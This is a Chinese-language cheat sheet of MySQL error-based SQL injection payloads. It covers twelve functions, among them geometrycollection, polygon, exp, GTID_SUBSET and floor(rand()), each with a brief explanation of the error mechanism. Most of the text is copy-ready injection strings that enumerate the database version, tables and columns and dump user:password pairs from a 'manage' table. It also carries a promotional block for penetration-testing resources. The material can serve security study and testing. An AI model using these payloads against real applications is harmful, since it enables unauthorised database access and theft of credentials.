1. geometrycollection() mysql版本5.5
(1)函数解释:
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。
(2)官方文档中举例的用法如下:
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
(3)报错原因:
因为MYSQL无法使用这样的字符串画出图形,所以报错
#获取版本信息
1') and geometrycollection((select * from(select * from(select version())a)b)); %23
#获取当前表名
1') and geometrycollection((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23
#获取manage表里的段名
1') and geometrycollection((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b)); %23
#获取字段里的数据
1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23
2. multipoint() mysql版本5.5
(1)函数解释:
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。
(2)报错原因:
同样是因为无法使用字符串画出图形与geometrycollection类似
#获取版本信息
1') and multipoint((select * from(select * from(select version())a)b)); %23
#获取当前表名
1') and multipoint((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23
#获取manage表里的段名
1') and multipoint((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b))
#获取字段里的数据
1)' and multipoint((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23
3. polygon()
polygon来自希腊。 “Poly” 意味 “many” , “gon” 意味 “angle”.
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。
') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+
4. mutipolygon()
') or multipolygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+
5. linestring
报错原理:
mysql的有些几何函数( 例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() )对参数要求为几何数据,若不满足要求则会报错,适用于5.1-5.5版本 (5.0.中存在但是不会报错)
#查询数据库名称
1') and linestring((select * from(select * from(select database())a)b))--+;
#获取表数据
1') and linestring((select * from(select * from (select table_name from information_schema.tables where table_schema=database() limit 6,1)a)b))--+;
#获取manage里的段名
1') and linestring((select * from(select * from (select column_name from information_schema.columns where table_name = 'manage' limit 0,1)a)b))--+;
#获取字段数据
1') or linestring((select * from(select * from (select group_concat(user,':',`password`) from manage limit 0,32)a)b))--+;
6. multilinestring
【----帮助安全学习,所有资源获取处----】 ①18份渗透测试电子书
②安全攻防300页笔记
③30份安全攻防面试指南
④安全红队渗透工具包
⑤网络安全必备书籍
⑥99个漏洞实战案例
#查询数据库名称
1') and multilinestring((select * from(select * from(select database())a)b))--+;
#获取表数据
1') and multilinestring((select * from(select * from (select table_name from information_schema.tables where table_schema=database() limit 6,1)a)b))--+;
#获取manage里的段名
1') and multilinestring((select * from(select * from (select column_name from information_schema.columns where table_name = 'manage' limit 0,1)a)b))--+;
#获取字段数据
1') or multilinestring((select * from(select * from (select group_concat(user,':',`password`) from manage limit 0,32)a)b))--+;
7. exp()
exp(x) 返回 e 的 x 次方
当 数据过大 溢出时报错,即 x > 709
注入payload
mail=') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))) as asd))--+
#关于 as asd
进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名
8. ST.LatFromGeoHash()(mysql>=5.7.x)
#payload
') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+
9. ST.LongFromGeoHash(mysql>=5.7.x)()
#payload
#同 8 ,都使用了嵌套查询
') or ST_LongFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+
10. GTID (MySQL >= 5.6.X - 显错<=200)
0x01 GTID
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的
GTID的表现形式 -> GTID =
source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务
GTID集合(一组全局事务标识符):
GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方
- gtid_executed 系统变量
- gtid_purged系统变量
- GTID_SUBSET() 和 GTID_SUBTRACT()函数
格式如下:
3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5
它代表uuid为3E11FA47-71CA-11E1-9E33-C80AA9429562的服务器的1到5号事务
也可以是这样
3E11FA47-71CA-11E1-9E33-C80AA9429562:1-3:11:47-49
他代表该服务器的1到3号,11号和47到49号事务
0X02 函数详解
GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
- GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
- GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
正常情况如下
GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)
0x03 注入过程( payload )
GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
函数都是那样,只是适用的版本不同
11. floor(8.x>mysql>5.0)
#获取数据库版本信息
')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#获取当前数据库
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#获取表数据
')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#获取manage表里的段名
')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#获取字段里面的数据
1)获取数据的前部分
')or (select 1 from (select count(*),concat(mid(concat(0x23,(select group_concat(user,':',`password`) from manage),0x23),1,32),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ [前部分]
2)获取数据的后部分
')or (select 1 from (select count(*),concat(mid(concat(0x23,(select group_concat(user,':',`password`) from manage),0x23),26,32),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ [后部分]
12. ST_Pointfromgeohash (mysql>5.7)
#获取数据库版本信息
')or ST_PointFromGeoHash(version(),1)--+
#获取表数据
')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
#获取manage表里的段名
')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
#获取字段里面的数据
')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+